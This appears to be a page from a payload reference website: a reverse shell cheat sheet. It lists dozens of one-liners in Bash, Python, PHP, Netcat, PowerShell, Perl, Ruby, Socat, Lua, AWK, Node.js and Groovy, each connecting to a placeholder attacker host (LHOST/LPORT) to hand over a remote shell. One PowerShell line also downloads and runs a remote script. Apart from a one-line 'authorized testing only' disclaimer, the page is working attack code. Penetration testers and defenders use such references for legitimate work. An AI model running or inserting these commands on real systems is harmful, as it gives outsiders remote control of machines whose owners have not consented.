# Reverse Shell Cheat Sheet

> Reverse shell one-liners for Bash, Python, PHP, Perl, Ruby, Netcat, PowerShell, and more.

Source: https://payloadplayground.com/cheatsheets/reverse-shells

For authorized security testing only.

## Bash

- `bash -i >& /dev/tcp/LHOST/LPORT 0>&1` — Interactive bash reverse shell
- `bash -c "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"` — Bash -c wrapper
- `0<&196;exec 196<>/dev/tcp/LHOST/LPORT; sh <&196 >&196 2>&196` — File descriptor redirect
- `/bin/bash -l > /dev/tcp/LHOST/LPORT 0<&1 2>&1` — Login shell redirect
- `exec 5<>/dev/tcp/LHOST/LPORT;cat <&5 | while read line; do $line 2>&5 >&5; done` — Exec with read loop

## Python

- `python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("LHOST",LPORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'` — Python 2 reverse shell
- `python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("LHOST",LPORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'` — Python 3 reverse shell
- `python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("LHOST",LPORT));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/bash")'` — Python 3 with PTY (fully interactive)
- `export RHOST="LHOST";export RPORT=LPORT;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'` — Python 3 with env vars

## PHP

- `php -r '$sock=fsockopen("LHOST",LPORT);exec("/bin/sh -i <&3 >&3 2>&3");'` — PHP exec reverse shell
- `php -r '$sock=fsockopen("LHOST",LPORT);$proc=proc_open("/bin/sh -i",array(0=>$sock,1=>$sock,2=>$sock),$pipes);'` — PHP proc_open reverse shell
- `php -r '$sock=fsockopen("LHOST",LPORT);shell_exec("/bin/sh -i <&3 >&3 2>&3");'` — PHP shell_exec reverse shell
- `php -r '$sock=fsockopen("LHOST",LPORT);passthru("/bin/sh -i <&3 >&3 2>&3");'` — PHP passthru reverse shell
- `php -r '$sock=fsockopen("LHOST",LPORT);system("/bin/sh -i <&3 >&3 2>&3");'` — PHP system reverse shell

## Netcat

- `nc -e /bin/sh LHOST LPORT` — Netcat with -e flag
- `nc -e /bin/bash LHOST LPORT` — Netcat with bash
- `nc -c bash LHOST LPORT` — Netcat with -c flag
- `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f` — Netcat without -e (mkfifo)
- `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc LHOST LPORT >/tmp/f` — Netcat mkfifo with bash
- `ncat LHOST LPORT -e /bin/bash` — Ncat (nmap) reverse shell
- `ncat --ssl LHOST LPORT -e /bin/bash` — Ncat SSL encrypted reverse shell

## PowerShell

- `powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('LHOST',LPORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"` — Full PowerShell reverse shell
- `powershell IEX(New-Object Net.WebClient).DownloadString('http://LHOST/shell.ps1')` — Download and execute PowerShell script
- `powershell -enc <Base64EncodedCommand>` — Base64 encoded command (use encoding pipeline)

## Perl

- `perl -e 'use Socket;$i="LHOST";$p=LPORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'` — Perl socket reverse shell
- `perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"LHOST:LPORT");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'` — Perl IO module reverse shell

## Ruby

- `ruby -rsocket -e'f=TCPSocket.open("LHOST",LPORT).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'` — Ruby socket reverse shell
- `ruby -rsocket -e 'exit if fork;c=TCPSocket.new("LHOST",LPORT);loop{c.gets.chomp!;(exit! if $_=="exit");IO.popen($_,"r"){|io|c.print io.read}}'` — Ruby fork reverse shell

## Socat

- `socat exec:"bash -li",pty,stderr,setsid,sigint,sane tcp:LHOST:LPORT` — Socat fully interactive TTY
- `socat tcp-connect:LHOST:LPORT exec:/bin/sh,pty,stderr,setsid,sigint,sane` — Socat PTY reverse shell
- `socat tcp-connect:LHOST:LPORT exec:"bash -li",pty,stderr,setsid,sigint,sane` — Socat bash interactive

## Other Languages

- `lua -e "require('socket');require('os');t=socket.tcp();t:connect('LHOST','LPORT');os.execute('/bin/sh -i <&3 >&3 2>&3');"` — Lua reverse shell
- `awk 'BEGIN {s = "/inet/tcp/0/LHOST/LPORT"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null` — AWK reverse shell
- `require('child_process').exec('nc -e /bin/sh LHOST LPORT')` — Node.js exec reverse shell
- `(function(){var net=require('net'),cp=require('child_process'),sh=cp.spawn('/bin/sh',[]);var client=new net.Socket();client.connect(LPORT,'LHOST',function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})()` — Node.js full reverse shell
- `groovy -e 'String host="LHOST";int port=LPORT;String cmd="/bin/bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try{p.exitValue();break}catch(Exception e){}};p.destroy();s.close();'` — Groovy reverse shell

## Related

- [Reverse Shell generator](https://payloadplayground.com/generators/reverse-shell)
- [Command Injection generator](https://payloadplayground.com/generators/command-injection)
- [Command Injection Cheat Sheet](https://payloadplayground.com/cheatsheets/command-injection.md)
- [LFI / Path Traversal Cheat Sheet](https://payloadplayground.com/cheatsheets/lfi-path-traversal.md)